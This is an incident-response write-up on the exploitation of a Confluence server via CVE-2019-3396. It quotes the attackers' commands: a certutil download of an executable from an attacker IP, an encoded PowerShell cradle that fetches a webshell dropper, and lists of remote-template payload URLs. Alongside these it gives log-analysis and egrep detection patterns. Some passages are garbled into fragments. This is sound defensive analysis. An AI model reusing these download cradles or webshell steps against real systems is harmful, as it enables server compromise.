The Recon incident response team recently worked an intrusion case involving a Confluence web application server that was affected by CVE-2019-3396.
The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
https://nvd.nist.gov/vuln/detail/CVE-2019-3396
Initial compromise was determined based on two separate EDR alerts, suspicious execution of CertUtil and PowerShell. Our analysis of NGINX and application logs revealed a much more extensive intrusion over a much longer period of time than initially estimated.
This vulnerability provides mechanisms for Remote Code Execution (RCE) as well as directory traversal or local file inclusion (LFI). Several POCs exist for each of these objectives:
[REVISE] to execution of CertUtil in the following manner:
certutil.exe -urlcache -split -f http://155.138.247.51/update.exe update.exe
BleepingComputer has a great article on the use of CertUtil for downloading binaries.
By analyzing NGINX web server logs for requests made at the exact time CertUtil was executed, we find this entry:
155.138.247.51 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3713 "https://[REDACTED]/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
In this case, it's a simple correlation as the source IP of the POST request is the same IP found in the CertUtil execution, but that is unlikely to always be the case. Luckily, there are several other noteworthy observables in this request.
One additional RCE attempt against this web server led to creation of a webshell through PowerShell execution.
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA1ADUALgAxADMAOAAuADIANAA3AC4ANQAxAC8AZwBlAHQAcwBoAGUAbABsAC4AcABzADEAJwApADsAIABJAG4AdgBvAGsAZQAtAGMAbQBkAA==
which decodes to a classic PowerShell download cradle
IEX (New-Object Net.WebClient).DownloadString('http://155.138.247.51/getshell.ps1'); Invoke-cmd
Tracking down getshell.ps1
we find a webshell dropper specifically designed to target Confluence servers.
noop.jsp
on the filesystem. This file appears standard to Confluence installations.noop.jsp
location to a file called log.txt
.
get caption
WMIC command, the word Caption
appears in the first line of the output creating an additional, likely unintentional artifact during the attack.log.txt
on the victim system
Caption
c:\program files\atlassian\confluence\confluence\noop.jsp
log.txt
, its contents are overwritten with a webshell payload that is nearly identical to many ChinaChopper samples such as this one on Github.By analyzing MFT entries, we can see this activity play out very clearly:
log.txt
is created immediately upon execution of the invoke-cmd
cmdlet.log.txt
is modified as the locations are written to it.Caption
is created by mistake due to the output format of the WMIC command and noop.jsp
is modified showingLooking back at one of the many POCs that exist for this exploit, we found that an overwhelming majority of POCs had the following hardcoded HTTP request parameters
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
"Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&"
Another consistent observable is the URL path of the request itself (and yes, "paylaod" is mispelled the same way across almost all of the POCs we found)
paylaod = url + "/rest/tinymce/1/macro/preview"
Lastly, the exploit checks that a status code of 200 was returned indicating the request was successful.
if r.status_code == 200 and "wiki-content" in r.text:
We can take all of these obserables and create a quick egrep
pattern file (pattern_file.txt
) to help further identify other attack activity against the server by looking for all requests with a status code 200 against the vulnerable URL and containing unique observables from the POCs:
egrep -a -i -f pattern_file.txt access.log
Contents of pattern_file.txt
:
POST /rest/tinymce/1/macro/preview.* 200 .*(056b55bc-fc4a-487b-b1e1-8f673f280c23|draftId\=786457|Mozilla\/5.0 \(X11\; Linux x86_64\; rv\:60\.0\) Gecko\/20100101 Firefox\/60\.0)
Abbreviated and sanitized output from a compromised server's NGINX access logs:
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3710 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3710 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3711 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3713 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3711 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3712 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3715 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3710 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3710 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [REDACTED] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3715 "https://[REDACTED]/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
Some additional sorting and filtering can quickly identify most prevalent source IPs
egrep -a -i -f pattern_file.txt access.log | cut -d' ' -f 1 | sort | uniq -c | sort -rn
Attacker IP addresses, sorted by request count:
750 185.193.125.146
24 144.34.132.17
20 104.238.151.101
6 198.204.231.250
5 155.138.247.51
4 45.77.65.91
We'd obviously add all of these IPs to our list of observables but our focus should quickly shift to 185.193.125.146
as it is responsible for the bulk of the requests. A quick Google search reveals that this IP address is linked to other attacks against Confluence servers.
By leveraging the timestamps of the requests from the previous analysis, we can pivot to the Confluence logs to see if we can identify entries that correlate to the exploit attempts. In our analysis, we found this pattern to match attack activity
egrep -a '.*getRenderedTemplate' atlassian-confluence.*
Abbreviated output:
ERROR [http-nio-8090-exec-8] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-2] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-4] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-2] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: ftp://104.238.151.101:10021/cmd.vm
ERROR [http-nio-8090-exec-10] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: ftp://104.238.151.101:10021/cmd.vm
ERROR [http-nio-8090-exec-11] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-5] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-9] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-8] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://8deeb5b6.ngrok.io/f/con?552140
ERROR [http-nio-8090-exec-6] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-1] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
ERROR [http-nio-8090-exec-1] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: https://pastebin.com/raw/B5BTS5fm
This ERROR reveals many RCE attempts against this system where an external resource is being loaded by the vulnerable Widget Connector Macro _template
parameter to inject remote Java code. This helped us quickly identify many additional observables.
egrep -a '.*getRenderedTemplate' atlassian-confluence.* | cut -d' ' -f 11 | sort | uniq
ftp://104.238.151.101:10021/cmd.vm
ftp://155.138.247.51:34677/gofuck.vm
ftp://198.204.231.250:10021/cmd.vm
ftp://45.77.65.91:34677/patch.vm
http://185.193.125.146/lsd.sh
https://0eb2c204.ngrok.io/f/con?231277
https://282dae90.ngrok.io/f/con?424984
https://336b2534.ngrok.io/f/con?162497
https://412be5db.ngrok.io/f/con?325072
https://417a3a12.ngrok.io/f/con?563205
https://4a19cb9d.ngrok.io/f/con?33598
https://699c0f0b.ngrok.io/f/con?847256
https://8deeb5b6.ngrok.io/f/con?552140
https://933334e8.ngrok.io/f/con?837558
https://93351526.ngrok.io/f/con?621384
https://ab56ea56.ngrok.io/f/con?716620
https://bfa4870b.ngrok.io/f/con?714763
https://caec6500.ngrok.io/f/con?585723
https://ec511fa4.ngrok.io/f/con?131534
https://f0e1c83d.ngrok.io/f/con?434617
https://pastebin.com/raw/1ya4dnFy
https://pastebin.com/raw/4KsykR8kr
https://pastebin.com/raw/9UvMM1m1
https://pastebin.com/raw/9sjH1jA7
https://pastebin.com/raw/B5BTS5fm
https://pastebin.com/raw/KXjybn8M
https://pastebin.com/raw/TPn65FYP
https://pastebin.com/raw/TwSVWzm2
https://pastebin.com/raw/U5NrC8DA
https://pastebin.com/raw/cHWdCAw2
https://pastebin.com/raw/hhthWjmz
https://pastebin.com/raw/ngMWiUN9
https://pastebin.com/raw/qD1LskNB
https://pastebin.com/raw/rCH1w8c4
During our analysis of this intrusion, we added a few collection targets to Eric Zimmerman's KAPE tool to add the relevant logs to triage efforts. Read more about KAPE.
Example usage targeting relevant logs (tune for your use-case):
kape.exe --tsource C: --tdest c:\temp\tout --tflush --target ConfluenceLogs,NGINXLogs